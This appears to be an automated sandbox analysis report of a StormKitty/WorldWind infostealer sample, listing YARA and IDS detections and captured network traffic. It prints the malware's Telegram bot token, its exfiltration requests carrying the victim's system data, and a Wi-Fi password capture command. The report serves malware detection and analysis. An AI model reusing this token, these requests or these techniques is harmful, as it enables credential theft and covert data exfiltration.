1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x11f83:$sk01: LimerBoy/StormKitty 0x287ce:$sk01: LimerBoy/StormKitty 0x3dba3:$sk01: LimerBoy/StormKitty 0x543ee:$sk01: LimerBoy/StormKitty 0x695c3:$sk01: LimerBoy/StormKitty 0x7fe0e:$sk01: LimerBoy/StormKitty 0x1d879:$str01: set_sUsername 0x49499:$str01: set_sUsername 0x74eb9:$str01: set_sUsername 0x1d9ff:$str02: set_sIsSecure 0x4961f:$str02: set_sIsSecure 0x7503f:$str02: set_sIsSecure 0x1dadd:$str03: set_sExpMonth 0x496fd:$str03: set_sExpMonth 0x7511d:$str03: set_sExpMonth 0x1bf2c:$str04: WritePasswords 0x47b4c:$str04: WritePasswords 0x7356c:$str04: WritePasswords 0x1c9cb:$str05: WriteCookies 0x485eb:$str05: WriteCookies 0x7400b:$str05: WriteCookies
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1f4c9:$str01: get_ActivatePong 0x4b0e9:$str01: get_ActivatePong 0x76b09:$str01: get_ActivatePong 0x1f3ee:$str02: get_SslClient 0x4b00e:$str02: get_SslClient 0x76a2e:$str02: get_SslClient 0x1f3d2:$str03: get_TcpClient 0x4aff2:$str03: get_TcpClient 0x76a12:$str03: get_TcpClient 0x1f490:$str04: get_SendSync 0x4b0b0:$str04: get_SendSync 0x76ad0:$str04: get_SendSync 0x1f470:$str05: get_IsConnected 0x4b090:$str05: get_IsConnected 0x76ab0:$str05: get_IsConnected 0x1df31:$str06: set_UseShellExecute 0x49b51:$str06: set_UseShellExecute 0x75571:$str06: set_UseShellExecute 0x29278:$str07: Pastebin 0x54e98:$str07: Pastebin 0x808b8:$str07: Pastebin
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x54d02:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x80722:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x51283:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x7cca3:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x5335f:$s1: \VPN\NordVPN 0x7ed7f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x53345:$s2: \VPN\OpenVPN 0x7ed65:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN 0x53327:$s3: \VPN\ProtonVPN 0x7ed47:$s3: \VPN\ProtonVPN
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x51abb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7d4db:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x51b2d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7d54d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x51bb7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x7d5d7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x51c49:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7d669:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x51cb3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7d6d3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x51d25:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x7d745:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x51dbb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7d7db:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x3dbac:$x3: StormKitty 0x695cc:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x472ea:$s1: GetBSSID 0x72d0a:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x471ea:$s2: GetAntivirus 0x72c0a:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x5276b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x7e18b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.?)" 0x5299d:$s6: "encrypted_key":"(.?)" 0x7e3bd:$s6: "encrypted_key":"(.*?)"
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0xa39eb:$sk01: LimerBoy/StormKitty 0xba236:$sk01: LimerBoy/StormKitty 0xcf60b:$sk01: LimerBoy/StormKitty 0xe5e56:$sk01: LimerBoy/StormKitty 0xfb02b:$sk01: LimerBoy/StormKitty 0x111876:$sk01: LimerBoy/StormKitty 0xaf2e1:$str01: set_sUsername 0xdaf01:$str01: set_sUsername 0x106921:$str01: set_sUsername 0xaf467:$str02: set_sIsSecure 0xdb087:$str02: set_sIsSecure 0x106aa7:$str02: set_sIsSecure 0xaf545:$str03: set_sExpMonth 0xdb165:$str03: set_sExpMonth 0x106b85:$str03: set_sExpMonth 0xad994:$str04: WritePasswords 0xd95b4:$str04: WritePasswords 0x104fd4:$str04: WritePasswords 0xae433:$str05: WriteCookies 0xda053:$str05: WriteCookies 0x105a73:$str05: WriteCookies
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0xb0f31:$str01: get_ActivatePong 0xdcb51:$str01: get_ActivatePong 0x108571:$str01: get_ActivatePong 0xb0e56:$str02: get_SslClient 0xdca76:$str02: get_SslClient 0x108496:$str02: get_SslClient 0xb0e3a:$str03: get_TcpClient 0xdca5a:$str03: get_TcpClient 0x10847a:$str03: get_TcpClient 0xb0ef8:$str04: get_SendSync 0xdcb18:$str04: get_SendSync 0x108538:$str04: get_SendSync 0xb0ed8:$str05: get_IsConnected 0xdcaf8:$str05: get_IsConnected 0x108518:$str05: get_IsConnected 0xaf999:$str06: set_UseShellExecute 0xdb5b9:$str06: set_UseShellExecute 0x106fd9:$str06: set_UseShellExecute 0xbace0:$str07: Pastebin 0xe6900:$str07: Pastebin 0x112320:$str07: Pastebin
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xb70cb:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0xe2ceb:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x10e70b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0xb91a7:$s1: \VPN\NordVPN 0xe4dc7:$s1: \VPN\NordVPN 0x1107e7:$s1: \VPN\NordVPN 0xb918d:$s2: \VPN\OpenVPN 0xe4dad:$s2: \VPN\OpenVPN 0x1107cd:$s2: \VPN\OpenVPN 0xb916f:$s3: \VPN\ProtonVPN 0xe4d8f:$s3: \VPN\ProtonVPN 0x1107af:$s3: \VPN\ProtonVPN
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xb7903:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xe3523:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x10ef43:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xb7975:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xe3595:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x10efb5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xb79ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xe361f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x10f03f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xb7a91:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xe36b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x10f0d1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xb7afb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xe371b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x10f13b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xb7b6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xe378d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x10f1ad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xb7c03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xe3823:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x10f243:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0xa39f4:$x3: StormKitty 0xcf614:$x3: StormKitty 0xfb034:$x3: StormKitty 0xad132:$s1: GetBSSID 0xd8d52:$s1: GetBSSID 0x104772:$s1: GetBSSID 0xad032:$s2: GetAntivirus 0xd8c52:$s2: GetAntivirus 0x104672:$s2: GetAntivirus 0xb85b3:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0xe41d3:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x10fbf3:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0xb87e5:$s6: "encrypted_key":"(.?)" 0xe4405:$s6: "encrypted_key":"(.?)" 0x10fe25:$s6: "encrypted_key":"(.*?)"
Click to see the 64 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\JGvCEaqruI.exe, ProcessId: 7268, TargetFilename: C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\JGvCEaqruI.exe", ParentImage: C:\Users\user\Desktop\JGvCEaqruI.exe, ParentProcessId: 7268, ParentProcessName: JGvCEaqruI.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 7648, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE StormKitty Data Exfil via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:12:50.601538+0100	2031009	1	Malware Command and Control Activity Detected	192.168.2.7	49766	149.154.167.220	443	TCP

ET MALWARE WorldWind Stealer Checkin via Telegram (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:12:50.601538+0100	2044766	1	A Network Trojan was detected	192.168.2.7	49766	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:12:51.698426+0100	2803305	3	Unknown Traffic	192.168.2.7	49772	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:12:50.601538+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	49766	149.154.167.220	443	TCP
2025-01-11T01:12:51.698426+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	49772	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808"}
Source: JGvCEaqruI.exe.7268.8.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage"}

Multi AV Scanner detection for submitted file

Source: JGvCEaqruI.exe	Virustotal: Detection: 75%			Perma Link
Source: JGvCEaqruI.exe	ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: JGvCEaqruI.exe

Joe Sandbox ML: detected

Source: JGvCEaqruI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49766 version: TLS 1.2

Source: JGvCEaqruI.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.8.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.8.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.8.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.8.dr
Source:	Binary string: hqLJs.pdb source: JGvCEaqruI.exe
Source:	Binary string: hqLJs.pdbSHA256X source: JGvCEaqruI.exe

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 4x nop then jmp 07B275FAh	1_2_07B26B76
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 4x nop then jmp 07B275FAh	1_2_07B26AEC
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 4x nop then jmp 07B275FAh	1_2_07B2721F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.7:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.7:49772 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2031009 - Severity 1 - ET MALWARE StormKitty Data Exfil via Telegram : 192.168.2.7:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2044766 - Severity 1 - ET MALWARE WorldWind Stealer Checkin via Telegram (GET) : 192.168.2.7:49766 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%207:12:35%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20704672%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%207_PYFFT1V%0ARAM:%204095MB%0AHWID:%2028D2643902%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2060%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2040%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.185.241 104.16.185.241

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49772 -> 149.154.167.220:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%207:12:35%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20704672%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%207_PYFFT1V%0ARAM:%204095MB%0AHWID:%2028D2643902%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2060%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2040%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 160.192.10.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Sat, 11 Jan 2025 00:12:50 GMTContent-Type: application/jsonContent-Length: 84Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Sat, 11 Jan 2025 00:12:51 GMTContent-Type: application/jsonContent-Length: 84Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.org
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.orgd
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/t
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.comd
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000035CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15d
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000034BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.tele
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
